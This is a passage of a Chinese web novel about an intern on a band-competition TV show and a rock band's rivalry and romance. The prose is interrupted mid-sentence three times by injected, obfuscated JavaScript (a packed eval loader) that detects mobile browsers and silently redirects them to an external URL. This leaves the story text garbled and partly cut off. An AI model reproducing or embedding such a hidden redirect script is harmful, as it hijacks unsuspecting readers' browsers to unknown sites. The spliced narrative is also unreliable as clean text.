“那个......”她犹豫着开口，“第二赛段是原创赛段，会给你抽取关键词，根据关键词48小时写歌，你过年的时候可以准备起来了。” “嗯。”齐扬很敷衍地回答。 “你们肯定没问题的，我看好你们。” “宋之雯......”齐扬的语气沉了下来，“你下次要是再喝酒，第二天醒过来在哪里就不一定了。” “我知道。”宋之雯低下头去。 “所以你这回欠我一个人情。” 唉？宋之雯猛地抬起头来看着他，不知道他想干什么：“那我要怎么还呢？” 齐扬嘴角的笑容越发上扬：“不知道，先欠着吧，等我想好了再说。” 宋之雯自知理亏，只好悻悻地缩了回去。 齐扬加大了油门，不一会儿就开到了她的学校。 宋之雯拉开车门下了车，却并不急着先走，很真诚地看着他说道：“谢谢你送我回学校了，你也早点回去，过个好年。” 齐扬对她做了个拜拜的手势，目送着宋之雯走进学校消失不见了，才把着方向盘开回了酒吧。 宋之雯在学校磨蹭来磨蹭去，才赶在年前的最后一天回了家。 回到家后于爱丽的脸色还是不怎么好看，吃年夜饭也没笑。亲戚夸她懂事考上了研究生，她也只是淡淡地回了一句年轻瞎折腾，还是宋岩峰帮忙圆过去了。 到了零点大家照例敬酒送新年祝福，宋之雯被烟熏得有点头晕，便出来透透气，顺便刷刷朋友圈。 刷了几条分享春节全家游玩的日常后，她忽然发现久久不发朋友圈的齐扬发了张泡面的图片，配上文字“年夜饭”。 吴衡第一个留言：我靠，兄弟，你过年就吃这个？你爸妈怎么想的？ 齐扬回复：我今年不回家过年了。 吴衡接着回：为什么？ 齐扬：不想回。 叶琛也跟着在下面留言：一个人在外面也吃点好的吧，泡面多没营养。 齐扬：忙着写新歌呢，随便对付点。 何瑜：新歌回来记得给我们听啊。 韦峰：+1。 宋之雯捏着手机翻来覆去了好久，还是决定关心一下，给齐扬发了条消息：“你一个人在外面过年，真的不觉得孤单吗？” 齐扬很快就回了：“不觉得啊，不是你和我说要早点准备起来吗？我现在过得无比充实。” 宋之雯想了想，估计还是他家里发生了什么事，也没再追问，转移了话题：“别再吃泡面了，对身体不好。” “知道了，我明天就去全聚德好好吃一顿。” 宋之雯抱着手机笑了一下，这时四周响起了烟花升空炸开的声音，漫天绚丽的色彩。 她郑重其事地打下了几个字：“新年快乐。” 齐扬也回她：“新年快乐。”配文是窗外烟花的图片。 宋之雯深吸一口气，把手机放进口袋内，走回了房间里。 齐扬确实没有说谎，这几天他有了一个新歌的灵感，决定加班加点把它写出来，等节目结束之后发。 至于家，反正那个男人又不回来，回去有什么意思呢？ 第二天他按照承诺吃了全聚德，不过吃的是外卖。 接下来的几天，他换着花样把周围能点的外卖全都点了一遍。 吃到第五天的时候，他正对着电脑狂赶最后的编曲，门铃响了。 这个时候了，还会有人来？齐扬连嘴角都没擦，披着睡衣拖着拖鞋胡子拉碴地开了门。 吴衡端着一个大锅冲了进来：“surprise！” 另外的几个人也陆陆续续拎着菜进来。 齐扬被吓了一跳：“你们怎么来了？这还没过完年呢，我也没叫你们回来。” “看你一个单身男人在公寓里孤苦伶仃的我们怎么忍心。”吴衡把锅放到桌子上，“过年很多火锅店都关门了，我就把我们家的火锅打包过来了。” “快点抓紧时间把菜弄了，晚上吃火锅。”何瑜指挥着大家。 一群人欢欢喜喜地进了厨房。 齐扬看着大家忙碌的身影，忽然有些恍惚。 原来并不是有血缘关系的才叫做家人，大家相识这么多年，早已变成了比家人还亲密的存在了。 天色渐渐暗了下来，菜被一盘一盘地端上了桌。吴衡把家里带的火锅底料放了进去，然后开了几瓶啤酒，直接举起一瓶：“大家加把劲，争取年后给我冲进总决赛。” “我觉得没问题。”何瑜附和道。 “要真进了你给我吹一瓶啊。”韦峰怂恿他。 “那叶琛陪我一起喝。”吴衡耍赖钩住他的脖子。 叶琛嫌弃地推开他：“你别拉我垫背了。” “行，我就先干为尽了，晨星乐队必胜！”吴衡一口气把一瓶啤酒全干了。 大家拍手叫好，何瑜也用胳膊碰了碰齐扬：“你也来和我们一起干杯吧。” 齐扬笑了，举起自己的啤酒和他们碰杯。 这天晚上他们东拉西扯地聊天，聊大学的经历，聊来B市吃的苦，聊对未来的憧憬，直到黎明时分才在地上打大通铺昏昏睡去了。 春节一过，各部门的人员归位，又进入到了紧张的比赛节奏中。 选手们在一个抽签室进行了抽签，然后就被关进一个封闭的房间内进行48小时的创作，除了工作人员都不能进去。 走廊里响起了此起彼伏的哀嚎声。 “这都什么词啊，未免也太过抽象了，什么‘竹林’‘月夜’‘星光’，不知道的以为考语文呢。” “你们节目组太会玩了，这我想破脑袋都想不出来，等着交白卷吧？” “现在退赛还来得及吗？” 然而这些都被导演用无情的眼神压了回去，随着一扇扇门关上，走廊里的声音渐渐平息。 晨星乐队的成员围坐在一起，盯着地上的关键词发呆。 “‘大海’，有点难写啊这个，太大众了，几乎被人写完了。”吴衡的眉毛都挤在了一起。 “我觉得有两个方向，一个就是像张雨生的《大海》那样洒脱的，另一个就是像张惠妹的《听海》那样忧郁的。”何瑜看向齐扬，“队长，你觉得呢？” “其实我觉得大海的蓝色会更偏向忧郁一点，这首歌我们可以以色彩为基调，就像油画一样。” 吴衡双手撑地，向前探了探身体：“可是你要想清 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她轻轻地敲了敲门，来开门的是吴衡，两天不见人已经无比憔悴，眼袋都快挂到地上了。见到她犹如见到了救世主，朝里面喊道：“快别练了，先吃饭吧。” 宋之雯走了进去，他们正在做最后的演出排练，虽然只听到了几句，但她还是被旋律牢牢吸引住了。 吴衡迫不及待地打开了饭盒：“番茄炒蛋、煎带鱼、小炒肉、肉末茄子、烧鸡，真丰盛啊，要不是你我们早饿死了。” “哪有那么夸张。”宋之雯笑了，“说实话你们的进度已经算快了，有些组连定稿还没定。” “真的啊？那太好了。”吴衡又有了信心。 齐扬拍了一下他的头：“人家那是慢工出细活，不到最后一刻还不一定呢，吃饭。” 吴衡只好塞了一大口饭，堵住自己的嘴。 吃饱喝足后，宋之雯举着自拍杆到了他们面前：“有什么想说的话吗？” 吴衡悲愤地回答：“这个环节太要人命了，我不想来第二次了。” 大家都笑了。 “对下一阶段有什么目标？” “那就祝我们勇往直前，票数节节高升吧。”何瑜挥舞着手，冲镜头比了个“耶”。 其他成员也跟着比耶，就连齐扬也露出了难得的笑容，脸上的疲惫一扫而空。 48小时之后，所有的乐队都交上来了自己的歌词和伴奏，再进行了简单的彩排，第二天开始正式的录制。 第一期节目播出之后，节目组收到了很多反馈。有夸赞这个节目形式的，当然也有人质疑是不是修过音的，直到发出了饭拍视频，这种质疑才渐渐平息下去。一些实力强劲的选手也涨了不少的粉，最多的要数齐扬，微博底下都是夸他帅，唱功好的。 谢季青的主持功底也受到了肯定，当然还是有好心的网友提出了不少建议。因为这是她独立主持的第一档综艺节目，因此谢季青非常重视，临上场了还在修改台本。 “阿雯，这是最后一版的台本，你把它打印出来做好。”王清妍把一个U盘递给她。 “好。”宋之雯快步跑到打印机旁，以最快的速度打印出来，折好粘在手卡上，递给了谢季青。 谢季青对她笑笑，等现场的倒计时结束后就优雅地上台开始主持。 然而她翻到后面的台本，发现竟然是空的。 45. 第四十五章 拉扯 谢季青的身上有些冒冷汗，但专业素养还是让她迅速冷静下来，面色如常地继续主持：“经过了短短两天的奋斗，我们的十五支乐队都交出了令人满意的歌曲。相信大家一定迫不及待地想听他们的新歌了吧？我们将随机抽取关键词，大家可以猜一猜是哪个乐队的。请看第一个关键词‘窗台’。” 第一支上来的乐队是支民谣乐队，用一把吉他弹了一首校园小情歌。 涂龙的脸色十分难看，一等他唱完就忍不住开炮：“这就是你花两天时间写的歌？这么偷懒，连编曲都不肯做？吉他套的还是4536251的和弦。” 主唱被这一连串的提问问懵了，颤颤巍巍地解释道：“我们......是想营造一种校园小清新的风格。” “什么小清新，别为自己找借口了，后面的乐队也听着，如果你们还是这个态度，趁早不用比了。” 观众们都噤声了，没想到涂龙说话这么直截了当。同时他们也明白，之前乐队可能拿出的是最拿手的存货，现在老本吃完了，得比拼真刀真枪的实力了。 谢季青下台的时候，王清妍注意到她脸色不怎么好，问道：“我看你一直不怎么看手卡，是手卡有什么问题吗？” 谢季青还想圆过去：“词我都背下来了，不需要手卡了。” 王清妍不由分说地抢过谢季青的手卡翻看，脸立刻黑了下来。她叫来了远处的宋之雯，等走到走廊里才“啪”地一下把手卡展示给她看：“你手卡到底打了没有？” 宋之雯也惊呆了：“我清楚地记得我点‘打印’键的。”说着她把打印记录调出来给王清妍看。 “那你再打一份试试。” 宋之雯又打了一份，发现真的是空白的。 王清妍的火气也上来了：“你工作就这么不仔细？打好不会检查一下？如果你就这个工作态度的话，我有什么理由留你下来？” 宋之雯咬着嘴唇，任由她骂：“对不起王姐，这件事是我做错了，我现在检查一下什么原因。” 宋之雯查看了一下打印机，发现是墨盒没墨了，她立刻找了新的换上，重新打印了一份：“我现在就去给谢季青。” 她一路小跑赶到了演播厅，还好谢季青还没上台。她立刻把新的手卡递了上去：“给你添麻烦了，真不好意思。” “没事，这种情况我们也遇到过，下次注意就好了。”谢季青对她温柔地笑笑，“况且记词是我们主持人的本职工作，不应该依赖于手卡。” 宋之雯的心里充满了愧疚。 第五个上场的就是晨星乐队了。前面几个乐队都被涂龙大批特批，把气氛搞得十分紧张，大家很迫切地想看他们会有什么样的表现。 齐扬的心里也没底，他和其他成员对视了一眼，收到了彼此鼓励的眼神，才安心弹下去旋律。 整个舞台的光效都变成了蓝色，而且是流动的蓝，如同颜料一般。 铺开一幅画卷 在上面涂满深蓝 装饰几个白色的船帆 再绘上晚霞灿烂 旋律很安静，齐扬的声音也很安静，让人不由自主地想闭上眼睛，感受海浪细细拂过脸颊的声音。 然而这时候旋律起了变化，舞台上的蓝也开始扭曲、变形成各种形状，齐扬的歌声也渐渐强烈起来。 时而平静如水面 时而又惊天如呐喊 它的脾气就是如此多变 就像人生没有界限 在他的讲述中，台下的观众仿佛也置身在了大海里，变成了一只小小的船被抛来抛去，惊险但是刺激。 一曲终了，观众席响起了此起彼伏的掌声。然而涂龙却用手托着头，静默了好一会儿才开口：“《蓝色画卷》......嗯......怎么说呢，你的这个歌词写得太意识流了，可能有些人未必懂。” “我知道。”齐扬回答。 “那为什么还要写呢？” “我想着如果只是为了赢得比赛而写，那也太过功利了，还是要写自己真正想写的。” “小伙子，你这么想可能票数不会太高哦。”孔尚露出了意味深长的笑。 “没事，我们下一轮再赢回来。” “这么有自信？”杨千帆偏过头，好奇地看着他。 “如果不是对自己有信心，我们也不会来这个舞台了。” 程云山带头拍起了手：“不要去怀疑，相信自己，这个作品我挺喜欢的，小众并不一定代表不好。” “好，谢谢各位老师精彩纷呈的讨论。”谢季青及时打住，“我们来看看投票结果吧。” 如评委所预料的一样，票数的涨幅并不明显，最终停留在了193票。 齐扬对这个结果也表示接受，朝观众点点头，下台了。 比赛继续有条不紊地进行着。后面几首歌曲都反响平平，大多逃不过芭乐情歌的套路，观众也已经审美疲劳，有的甚至开始打哈欠。 当郭卫穿着一身竹子图案的绿色汉服，头上扎着绑带上台的时候，他们迫切地希望他能拯救一下这一潭死水的局面。 他们抽到的关键词正是“竹林”，歌名叫《千尺浪》。 郭卫上来就是一阵叮铃咣啷的鼓声，尖锐如同刀光剑影的搏斗，紧接着是秦伊莲的笛子，空谷幽扬。 以酒会友 看天下英雄豪杰齐携手 各大门派招式来问候 年少万兜鍪 手把竹叶将铁剑穿透 千尺浪化为绕指柔 观众的热情一下子被点燃了，跟着郭卫一起跳了起来。古风和电子音乐的结合一下一下地震撼着他们的耳膜，带来极佳的视听体验。 表演结束后，所有评委都会心一笑，涂龙更是夸赞这是目前他看到的最好看的表演，郭卫理所当然地拿到了最高分。 比赛从这里才真正好看了起来，后面高手频出。颜承宇的《下雨时你是否会想起我》一改他平日里怒吼的大嗓，充满了铁汉柔情，但又不失纯正的摇滚味，分数也名列前茅。 飞花乐队抽到的关键词是“银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938135|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河”，这对他们一支传统老牌乐队来说十分有难度。但于川竟然意外地创作出了一首科幻歌曲《飞跃银河系》，再加上他们宏大的编曲，观众都感慨可以直接作为电影的ost了，理所当然拿下了全场的最高分。 最终的总排名出来了，晨星乐队在十五支乐队中排名只列第十三位，如果要想下一期不被淘汰，总排名必须要进前十了。 乐队成员面色都有些凝重地向外走去，路过一个杂物间的时候，突然听到里面隐隐的有抽泣声。 齐扬轻轻地扒着门缝往里看，看到是宋之雯一个人坐在黑暗里，蜷缩着身体，抱着手臂把整个头埋进去。 他挥了挥手，示意其他成员回避一下。吴衡吐吐舌头，很识趣地推着其他人走了。 齐扬小声地推门进去，在宋之雯面前蹲了下来，浅笑道：“我当你去哪儿了，原来躲在这里了。” 宋之雯不理会他，还在哭。 齐扬仔细地端详着她：“一有困难就躲起来哭，你还真是一点没变啊。” 他从口袋里掏出了餐巾纸递给她：“擦擦吧。” 宋之雯只好接了过去，她现在眼泪鼻涕花了一脸，十分难看，用纸巾抹了抹才抬起头来。 “事情我都听说了，就是打错台本了是吧？”齐扬的声音柔了下来。 “是，我觉得自己什么都做不好，只会给人添麻烦。”宋之雯想到这件事，声音又哽咽了。 “你要知道，你是人不是机器。”齐扬很刻意地强调道，“机器都会出bug，何况是人呢？没有人不犯错误，你信不信现在干练的王姐，最初也是从新人不断犯错误过来的？” “可是我只是一个小小的实习生，干不好就要走人了。” “那就换一个地方干呗，宋之雯，你当初面对困难不服输的精神呢？怎么就被打倒了？”齐扬站了起来，俯视着她。 宋之雯也不甘心地站起来，和他对视：“我只是在这里平复一下情绪，过一会儿就好了，你不用管我。” “是吗？那你平复下来了吗？好了就接着干，不要我还没走你先走了，不是说好要一起工作的吗？” 宋之雯斜着眼看他：“你还是担心担心你自己吧，看你这票数下一轮估计悬，没准先走的是你。” “如果我走了，你还会帮我拉票吗？”齐扬整个人靠在了柜子上，漫不经心地看着她。 “我不会帮你拉票的，你的那些粉丝也够了，她们绝对会拼尽全力帮你复活的。”宋之雯走了出去，“我好了，现在要帮王姐收拾现场去了，你也早点回去休息吧。” 齐扬看着她的背影，笑了几声，加快脚步追上了吴衡他们。 节目组安排的车还没来，齐扬便从口袋里掏出了一根烟点上，抽了一口，在寒风里吐出几个烟圈，低头看着地面，似乎有心事。 吴衡拍了拍他的肩膀：“有一件事我想问你好久了。” 齐扬不耐烦地说：“有话快说。” “节目已经录了两期了，你对宋之雯到底是什么态度啊？” 46. 第四十六章 追求 “我的态度是什么还不明显吗？”齐扬又抽了几口，把烟掐了，“我要追她。” “哟，说得倒容易。”吴衡嗤笑地看着他，“你要是真的有点心，就不会一边拒绝她，一边又偷偷地帮人家联系考研学姐了，是吧瑜姐？” “是啊。”何瑜走了过来，“你可要想好了，两年的时间可以改变一个人很多，宋之雯未必会回头。” “我知道。”齐扬看着远处深沉的夜幕，“我不后悔追寻自己的音乐梦想，但既然老天让她再次出现在了我的面前，说明给了我悔过的机会，我怎么也要弥补。” “兄弟。”韦峰重重地揽过了他，“就大胆去追，哥看好你。” 叶琛也给了他一个拥抱：“加油。” 这时车来了，停在了他们的面前。 齐扬拉开了车门，叹了一口气：“上车吧。” 第二期录制完后宋之雯难得放几天假，正好这时候舒青竹休了年假打算来B市玩一玩，两人便约在了校门口的一家铜火锅店见面。 舒青竹整个人都不一样了，烫了头发化了精致的妆，还交了男朋友，脸上容光焕发。 宋之雯帮她在锅里和铁板上都放了肉：“这是B市的传统老式火锅，今天我请客。” “小雯雯，近来如何啊？”舒青竹还是熟悉的语气。 宋之雯笑着摇头：“不怎么样，工作日夜颠倒的，累到怀疑人生。” “我们公务员也不轻松。”舒青竹开始倒苦水，“你是不知道我们那个科长压榨新人，最喜欢下班之前给我派任务了，做都做不完。” “可胜在稳定啊。” “别说了，穷得稳定。”舒青竹伸出了几根手指，“我每个月的收入就这个数，要不是我住家里，我还真生活不下去。” 两人很有默契地对视了一眼，笑出了声。 “说实话我还特别羡慕你能在大城市读研呢。”舒青竹眼睛直发亮，“怎么样？你的工作是不是能经常见到明星啊？” “这倒是。”宋之雯沉默了一会儿，还是如实对她说道，“我见到齐扬了。” “齐扬？”舒青竹被肉呛到了，“就那个渣男？怎么这么阴魂不散啊？你去之前不知道吗？” “不知道啊，我是去实习以后才给我分配项目的，走都走不了。” “唉，怎么会这样。”舒青竹满脸愁容，“他没有对你做什么吧？” “没有。” “对了，我记得你说过他送给你一张他们乐队未公开的专辑，现在还在吗？” “在啊，怎么了？” 舒青竹激动地一拍手：“可以卖掉换钱啊，你是不知道他们现在有多火，网上的新粉收他们以前的专辑都收疯了。” “这......不太好吧。”宋之雯为难地说道，“毕竟是人家辛苦创作的，涉及到知识产权问题。” “你不会想和他旧情复燃吧？”舒青竹半眯着眼，十分怀疑地看着她。 “不会，我和他说了我现在不想叙旧情，只想工作。” “那就好。”舒青竹松了口气，“节目录完趁早叫他滚蛋，还敢出现在我们面前，我看他是活腻了。” 宋之雯巧妙地把话题岔开了，开始讲节目录制时遇到的有趣的事。舒青竹听得津津有味，直到火锅吃完了还没有尽兴，又和宋之雯结伴去附近的公园玩了一圈。 这几天宋之雯就负责伺候舒青竹吃好喝好，然后开开心心地把她送了回去。临走之前舒青竹还留下一句话：“要是他欺负你，随时给我打电话，我去骂他。” 宋之雯乐得直点头。 短暂的休息过后，又要投入作息不规律的生活了。 在一个风和日丽的下午，节目组把所有的乐队都集结在了大草坪上，开始了第三赛段的抽签。 光是集结就集结了半天，有的乐队要出去抽根烟啦，上个厕所啦，吃点小零食啦，还有的坐不住到处走，更有的找自己座位就找了半天。宋之雯觉得自己像面对一群初中生，鬼哭狼嚎，猿鸟乱鸣。 好不容易大家都规规矩矩地坐在位子上了，导演才开始宣布规则：“本赛段是我们的经典歌曲改编战，乐队先通过抽签选择歌手，再挑他其中的一首经典歌曲改编。至于抽签结果嘛，要通过一个小游戏决定。” 底下的人一听到游戏这个词，立刻叫了起来：“又不是小孩子了，还要玩游戏，太老土了吧。” 然而他们叫了这么半天并没有什么效果，导演依旧微笑地看着他们，并没有改变主意的意思，他们也只好不叫了。 “规则很简单，是一个抓人小游戏。每个乐队给自己想一个代号，一个人抓，其他人躲。如果躲的人被抓到就淘汰，但是如果他被抓到之前喊出那个人的代号，则角色互换，躲的人抓，抓的人躲，明白了吗？” “不明白。”偏偏有人要唱反调。 “好，那我们找人来演示一下。”导演无奈地抓了张浩过来，张浩一脸不情愿地上台，用肢体还原了一遍游戏过程，“现在明白了吗？” “明白了。”大家齐喊。 宋之雯和王清妍都在底下笑得不行。 “下面谁自告奋勇来抓人？”导演意味深长地眨了一下眼睛，“抓的人有优先选择权。” “我。”颜承宇首先举手站了出来。 底下立刻响起一片掌声：“老颜威武。”就连宋之雯也一脸惊讶地看着他。 “大家围成一个圈，想一想自己的代号，然后依次报一遍。”导演指挥着这群“初中生”，还亲自给他们调整位置。 这些人起的绰号都五花八门，什么“王者”啦，“猢狲”啦，没一个正经的。 大概报了两三遍之后，导演问：“都记好了吗？” “就这样吧，反正也记不住。”于川笑道。 “好。”导演看了一下蓄势待发的颜承宇，拍了一下手，“预备，开始。” 颜承宇立刻跟一枚炮弹一样发射了出去，冲向慌乱的人群。然而他力量有余，技巧不足，只会到处乱撞，没过一会儿就气喘吁吁。 “换人换人，我不行了。”颜承宇一屁股坐在了地上。 “谁来抓？”导演问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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导演举起了齐扬的手：“我宣布，本场游戏获胜的就是我们晨星乐队，有优先抽签权。” “还是要抽签啊？”郭卫在旁边幸灾乐祸，“万一抽到不擅长的怎么办？” 其他人也释然了：“所以这个游戏其实赢了就是输了，输了就是赢了，完全凭运气，没准最好的在后头呢。” 齐扬随机抽了一张放在桌上的专辑，打开之后里面是童安格的照片，他不由得愣住了。 已经有人开始感慨：“这可不好唱啊。” 齐扬手捏着专辑，都快捏出了汗，回到座位后久久地凝视着照片。 宋之雯的心里也五味杂陈，世上怎么会有这么巧的事情？ 另一旁的郭卫抽到了汪苏泷，开心得跳了起来。 一场抽签下来和开盲盒一样刺激，有人欢喜有人忧。不过好在歌曲可以自己选择，乐队便逐渐散去去排练室准备了。 齐扬把童安格所有的歌曲都打印出来摊在地上，给每个人发了一支笔：“用排除法吧。” “《忘不了》肯定不行，所有的歌手唱这首名次就没好过，甚至勇夺第七。”吴衡率先划掉。 “太平的歌也不行，比如《明天你是否依然爱我》《其实你不懂我的心》。”何瑜也用笔在上面拼命地划拉。 这样一通排除下来其实没剩多少歌了，齐扬盯着地上的纸陷入了沉思：“要不《耶利亚女郎》？” 韦峰笑得很贼：“唱给你的女神听的吧？” 47. 第四十七章 女神 “走开。”齐扬使劲推了他一下，又伸手指了指何瑜，“你不觉得我们这个配置特别适合这首歌吗？因为有一个女士在这里。” 何瑜摆摆手：“你太抬举我了。” “说真的瑜姐，你这次必须要唱了。”齐扬强烈要求道。 “唱是可以，但问题是怎么把我融进去呢？观众还是想听你主唱。”何瑜用手托着头看着他。 “我查了一下，耶利亚女郎是童安格虚构的，既然是虚构的，那把它放在什么背景下都可以，你是学西洋音乐出身的吧？” “对。” “我们可以融入一点西洋音乐进去，你也可以配上一点乐器，还可以穿上神女的衣服。” “你在这里玩cosplay是吧？”何瑜服气地点头，“行，那我就陪你玩玩。” 定好了改编的方向，几个人立刻动手开工。首先编曲就要大改，原曲有一点年代感了，需要把它改得更流行一点让年轻的观众更能接受，但在改编的同时也要保留原曲的圣洁感。 成员们对这次比赛丝毫不敢懈怠，现在他们面临和两年前一样的处境，一旦被淘汰大概率就要卷铺盖走人了。 在编排歌曲的时候，他们充分考虑了竞技性和优美性，设计了一套独属于自己的舞台走位，和导播反复沟通才最终敲定。 录制的当天，许多晨星乐队的粉丝早早守候在公司大楼门口。他们已经从网上听说了上期排名不理想的事情，举着灯牌给乐队加油。 齐扬率先下车，立刻引发了粉丝的一阵尖叫，紧接着其他成员也有不同程度的叫喊声。保安不得不伸手阻拦想要上前的热情的粉丝，和第一期他们门可罗雀的样子形成了鲜明的对比。 乐队简单地朝粉丝打了个招呼，就趁着混乱溜进了抽签场地。 齐扬非常不喜欢这个环节，可每次又不得不经历，此时他只能祈祷老天帮他一把，抽到一个好签。 看到签号后他松了一口气，最后一个，究竟是审美疲劳还是压台全靠实力了。 为了配合他们这一期的主题，谢季青特意穿了一身复古的黄色裙子，笑容依旧是那么明媚。她先娓娓道来地带大家回顾了不同年代乐坛的代表人物和经典歌曲，随后压低声音说我们将一起穿梭时空，回到那个年代，把期待值拉到了最满。 灯光暗了下来，舞台的大幕缓缓降下，观众发出了一声惊呼，因为他们发现第一个出场的竟然是郭卫。 齐扬算是明白了，这抽签是按歌曲的时间顺序排的。 郭卫一身金属树枝缠绕的演出服，配着一把电吉他。每拨一下，台上就发出滋滋的电流声，刺激着人的耳膜。 我是不管不顾就喜欢说不的天才 我要追云追风追他一个浪漫的夜晚 只要飞得足够快烦恼就抓不住脚踝 没有时间来伤感要赶快唱歌和告白 秦伊莲的和声也做了电音的处理，两人默契地一唱一和，形成了绝妙的回音，环绕着整个演播厅。 高个子长发女孩的鼓重重地落下，台上“哧”地喷出了烟雾和彩带，郭卫就在一片彩色中跳了起来。 听我说shalalalala天塌不下来对吗？ 你喜欢谁啊大声告诉他 听我说shalalalala你还在呼吸对吗？ 凭感觉出发真心并不复杂 观众的情绪立刻被带动起来了，跟随着郭卫“shalalala”地挥手，给这首歌又增添了颇有气势的大合唱。 郭卫就这样凭借着第一个节目，打了一个漂亮的开门红，当然也给后面上场的选手增加了巨大的压力。 相比之下樊博宇的《那女孩对我说》就没那么亮眼了。尽管他费尽心思地拉了小提琴想营造校园纯爱的气氛，但对经历过听觉盛宴的观众来说，这点小清新还不够塞牙缝的，因此他的总成绩在危险的边缘徘徊。 颜承宇这回走的也是和郭卫一样的亲民路线。他删繁至简，《有没有一首歌让你想起我》只保留了最核心的旋律，把重心放在了与观众的大合唱上，勾起了不少人的怀旧回忆。 这期虽然只淘汰掉五个人，可是竞争依旧非常激烈，每个乐队的排名只有几票之差。 晨星乐队的成员在后台一直关注着台上的状况，现在他们正屏息等待着最大的对手——飞花乐队的表演。 于川一上台的造型就让大家“哇”了一下，他自己亲自背了一个萨克斯，轻轻地吹着。声音绵长而又忧郁，仿佛在低低地呜咽哭泣，配合着乐手的手风琴把这首歌推向了最悲的基调。 他唱的是经典老歌《安妮》，讲了一个男人和初恋分手的故事。 唱这首歌的时候，他并没有运用太多的技巧，因为他本身的嗓音就已经足够适配这首歌，如岁月流沙一般细细滑过，始终带着一种很克制的情感。 齐扬听得也沉醉在了其中，最后服气地鼓起掌来，不得不说姜还是老的辣。 现在总成绩第一飞花乐队，第二麋鹿乐队，第三格律乐队，这三支乐队和后面形成了断崖式的领先。Urban乐队名列第九，晋级名额算是保住了。 赛程已经进行到了尾声，谢季青却依然充满活力地报幕：“最后一支要上场的乐队是我们非常期待的晨星乐队。上一期他们忠于自己内心进行创作，给我们带来了不一样的感受，这一期他们又将带来什么惊喜呢？拭目以待。” 齐扬收拾了一下自己的心情，朝同伴伸出了手：“我们聚个气吧。” 一只只充满温度的手叠在了一起，紧紧相握，有力地晃了好几下，大家齐声喊道：“加油，拼了！” 这时旁边的工作人员提醒他们，可以上台了。 齐扬步伐坚定地向台上走去，觉得自己像一个战士，背负的所有压力都转化为了动力。 明晃晃的灯光亮起，在观众看清了他们本场的造型后，不由自主地发出一声惊呼。 四个男生都穿着白色的战袍，肩膀点缀着银色的铠甲，腰间系着镶着钻的腰带，齐扬还特意加了披风。他们的中间站着何瑜，金色长发，精灵耳，头上戴着皇冠，身着白色的褶皱长裙，好像希腊神话里的女神。 何瑜拿出了长笛吹了起来，前奏是《AmazingGrace》的音乐。长笛高亢的声音始终飘荡在云端，为这首歌更添了圣洁的光芒。 紧接着旋律急转直下，变调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“后悔没早点来现场录制了，齐扬的真人比镜头里帅一百倍！” “瑜姐好美啊，我的女神！” “这真的是今天最佳的表演，投票投票！” 谢季青也没能阻止观众的热情，只好把主动权交还给他们：“看来大家都很喜欢晨星乐队的表演，为我们做了一个完美的收尾，让我们来看看最后的结果是不是依然那么完美呢？” 乐队的成员彼此手拉手面对着大屏幕，每个人的额头上都还残留着表演时候渗出的汗珠。他们为这场演出真的拼尽了全力，至于剩下的就交给命运吧。 票数呈现出了指数爆发的增长，一眨眼的功夫就增长到了200票，再是220、230......观众都盼望着它最终能涨到多少票。 273票，这是几期以来场上最高的分数。这样晨星乐队就以总成绩第7的名次晋级。 谢季青把话筒伸给了齐扬：“我来采访一下，上一期你们乐队可以说是淘汰的边缘，非常危险，这一期又‘起死回生’，什么感受？” “没什么感受，想说的只有感谢，谢谢，谢谢。”齐扬拉着乐队成员的手，和他们绕场鞠躬。 许多第一次来录制的观众都被感动了，大声呼喊着齐扬的名字。 “有一个问题我非常好奇。”谢季青俏皮地笑了，“你们选《耶利亚女郎》这首歌有什么含义呢？或者说你们有没有自己的耶利亚女神呢？” 48. 第四十八章 抉择 台下爆发出了一声尖叫，好事者都一脸八卦地看着齐扬，他们知道这绝对是一个爆点的新闻。 齐扬的嘴角上去又下来，过了好一会儿才说了一句：“每个人心中都会有一个自己的女神吧，她圣洁而又遥不可及，包括我。” “所以说是有咯？”谢季青不放弃地继续追问。 齐扬下了很大的决心才点头：“对，不过那都是过去的事了。” 当观众进一步好奇这个女神到底是谁的时候，谢季青却宣布了录制结束的消息，接着工作人员开始清场。 等人都走完之后，谢季青才迫不及待地说道：“我刚刚真是开玩笑的，没想到你还真敢说啊，这段肯定会被导播剪进去放在预告片里。” “无所谓，说都说了。”齐扬耸耸肩。 “我也很好奇了，这个女孩子到底是谁？你学生时期的白月光？”谢季青挑了挑眉。 “算是吧。” “那你们现在还有联系吗？” “偶尔有吧。” “可惜了，她一定是个很好的女孩子，既然忘不了她，有可能的话，把她追回来吧。”谢季青拍了拍他的肩膀，走了。 宋之雯刚刚在台边目睹了这一切，毫不在意地笑了一下，然后轻巧地从齐扬身边走过：“服装部门让你们去换装了，他们要把衣服收起来。” “知道了。”齐扬用宋之雯才能听到的声音说了一句，“我刚刚那是故意的。” 宋之雯停了一下，然后继续往前走。 这一夜，宋之雯失眠了。 她不知道齐扬安的是什么心，毕业离去的那一天表现得如此无情，现在却又在台上深情怀念，干什么，立人设？ 她没想到的是，有人和她一样失眠。 于川焦虑地在高级公寓里来回踱步，最终还是气不过拨通了制片人的电话：“不是说都是不知名的小乐队吗？这又是哪里冒出的小乐队？” 制片人也觉得冤枉：“于老师，我们确实是做过调研的，这些乐队都没啥名气，粉丝也不过万。不过有几个实力还是可以的，也是为了增加节目的竞技性嘛。” “竞技？你当初怎么跟我说的？让我以选手的身份指导他们，现在他们都要骑到我头上来了，还怎么指导？” “于老师你别生气。”制片人讨好地笑笑，“您是我们请来的大腕，我保证后面不会再出现这种情况了。” “那你说怎么办？” “下一赛段就把两个最强的分在一起，想办法把他们淘汰掉就好了。” 